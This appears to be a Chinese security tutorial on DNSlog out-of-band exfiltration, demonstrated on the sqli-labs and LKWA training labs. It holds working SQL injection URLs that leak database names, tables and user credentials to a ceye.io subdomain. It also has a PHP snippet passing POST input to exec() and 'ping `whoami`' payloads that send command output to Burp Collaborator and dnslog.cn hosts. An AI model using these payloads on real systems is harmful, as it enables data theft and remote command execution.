Dnslog盲注
1、DNS
DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。通过主机名,最终得到该主机名对应的IP地址的过程叫做域名解析(或主机名解析)。DNS协议运行在UDP协议之上,使用端口号53。在RFC文档中RFC 2181对DNS有规范说明,RFC 2136对DNS的动态更新进行说明,RFC 2308对DNS查询的反向缓存进行说明。
2、Dnslog
Dnslog就是存储在DNS Server上的域名信息它记录着用户对域名www.test.com、www.t00ls.com.等网站的访问信息。
DnsLog盲注
对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入 使用DnsLog盲注仅限于windos环境。
dnslog注入常用于如下几种情况:
-
SQL注入中的盲注
-
无回显的命令执行
-
无回显的SSRF
原理图:
如图,攻击者首先提交注入语句select load_file(concat('\','攻击语句',.XXX.ceye.ioabc))
在数据库中攻击语句被执行,由concat函数将执行结果与XXX.ceye.io\abc拼接,构成一个新的域名,而mysql中的select load_file()可以发起请求,那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析。
此时,如果我们可以查看DNS服务器上的Dnslog就可以得到SQL注入结果。那么我们如何获得这条DNS查询记录呢?注意注入语句中的ceye.io,这其实是一个开放的Dnslog平台(具体用法在官网可见),在http://ceye.io上我们可以获取到有关ceye.io的DNS查询信息。实际上在域名解析的过程中,是由顶级域名向下逐级解析的,我们构造的攻击语句也是如此,当它发现域名中存在ceye.io时,它会将这条域名信息转到相应的NS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。
3、UNC路径
以下是百度的UNC路径的解释
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式
sss.xxxtest
因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的
4、通过dnslog实现SQL注入
这里以sqlilab第一关做演示。
首先注册一个ceye.io的账号,作为dns注入的平台,http://ceye.io 这是一个免费的记录dnslog的平台,我们注册后到控制面板会给你一个二级域名:xxx.ceye.io,当我们把注入信息放到三级域名那里,后台的日志会记录下来。
这里看看Identifier中的结构,Ceye.io 就不用说了,前面的 xxx.ceye.io是你的个人域名。Dns注入最后的效果呢就是在xxx.ceye.io前面显示你注入的结果。例如:你得到的数据库是test,那么效果则是:test.xxxx.ceye.io。
这里开始我们的注入流程。
-
获取数据库名。
http://192.168.0.103/sqllabs/Less-1/?id=1' and if((select load_file(concat('\\',(select database()),'.rjv5di.ceye.io\abc'))),1,0)--+
其中load_file()函数发起请求,使用Dnslog接受请求,获取数据。
运行结果如下:
这里可以得到数据库名为security
-
获取数据表名
http://192.168.0.103/sqllabs/Less-1/?id=1' and if((select load_file(concat('\\',(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),'.rjv5di.ceye.io\abc'))),1,0) --+
这里可以得到第一张表的表名为email
通过修改limit的值,即可得到第二张表 后面的就不在演示了。
也可以直接通过如下payload获取所有的表名
http://192.168.0.103/sqllabs/Less-1/?id=1' and if((select load_file(concat('\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema=0x7365637572697479 limit 1),'.rjv5di.ceye.io\abc'))),1,0) --+
运行结果如下:
将获取到的数据进行还原。
表名分别为: emails,referers,uagents,users
-
获取列名
http://192.168.0.103/sqllabs/Less-1/?id=1' and if((select load_file(concat('\\',(select column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 1,1),'.rjv5di.ceye.io\abc'))),1,0) --+
获取到列名为username,通过修改limit的值即可得到所有列名。
也可以直接通过如下payload获取所有的列名
http://192.168.0.103/sqllabs/Less-1/?id=1' and if((select load_file(concat('\\',(select hex(group_concat(column_name)) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 1),'.rjv5di.ceye.io\abc'))),1,0) --+
运行结果如下:
将得到的数据进行还原
列名分别为:id、username、password
-
获取字段名
http://192.168.0.103/sqllabs/Less-1/?id=1' and if((select load_file(concat('\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.rjv5di.ceye.io\abc'))),1,0) --+
因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去。
将得到的十六进制进行转换,即可得到用户名和密码。
5、通过dnslog实现远程命令执行
这里以LKWA靶场中的blind_rce为例。
项目地址:https://github.com/weev3/LKWA
5.1、漏洞代码
class Rce {
private $user_input;
private $level;
function __construct() {
// 这里会通过post方式接受传入参数
$this->user_input = isset($_POST['user_input']) ? $_POST['user_input'] : null;
$this->level = isset($_POST['level']) ? $_POST['level'] : null;
}
function start() {
if (empty($this->user_input)) {
}
else{
//若接受到的user_input参数不为空,则执行接受到的参数,但没有结果返回
exec($this->user_input);
}
}
}
$rce = new Rce();
if(!empty($_POST))
{
$rce->start();
}
5.2、漏洞利用
方式一:通过burp的Burpsuite Collaborato模块来查看输出。
Burpsuite Collaborato模块具体介绍和使用可以参考:Burpsuite Collaborato模块详解 - FreeBuf网络安全行业门户
首先打开burpsuite配置Burpsuite Collaborato服务器
然后点击burp,启动Burp Collaborator client
点击Copy to clipbooard会得到一个payload
在存在远程目录执行的位置执行如下payload。
ping `whoami`.hcxnn3m1crgnebrhoa3qy1xh88ey2n.burpcollaborator.net
然后可以在BurpCollaborator client中点击Pollnow即可得到命令返回的结果
方式二、通过dnslog在线网站显示输出
首先到http://www.dnslog.cn/获取一个subdomain
然后在存在远程命令执行的位置执行如下payload。
ping `whoami`.yor4p0.dnslog.cn
然后点击Refresh Record即可得到命令返回的结果
本文始发于微信公众号(疯猫网络):dnslog实现sql注入及远程命令执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论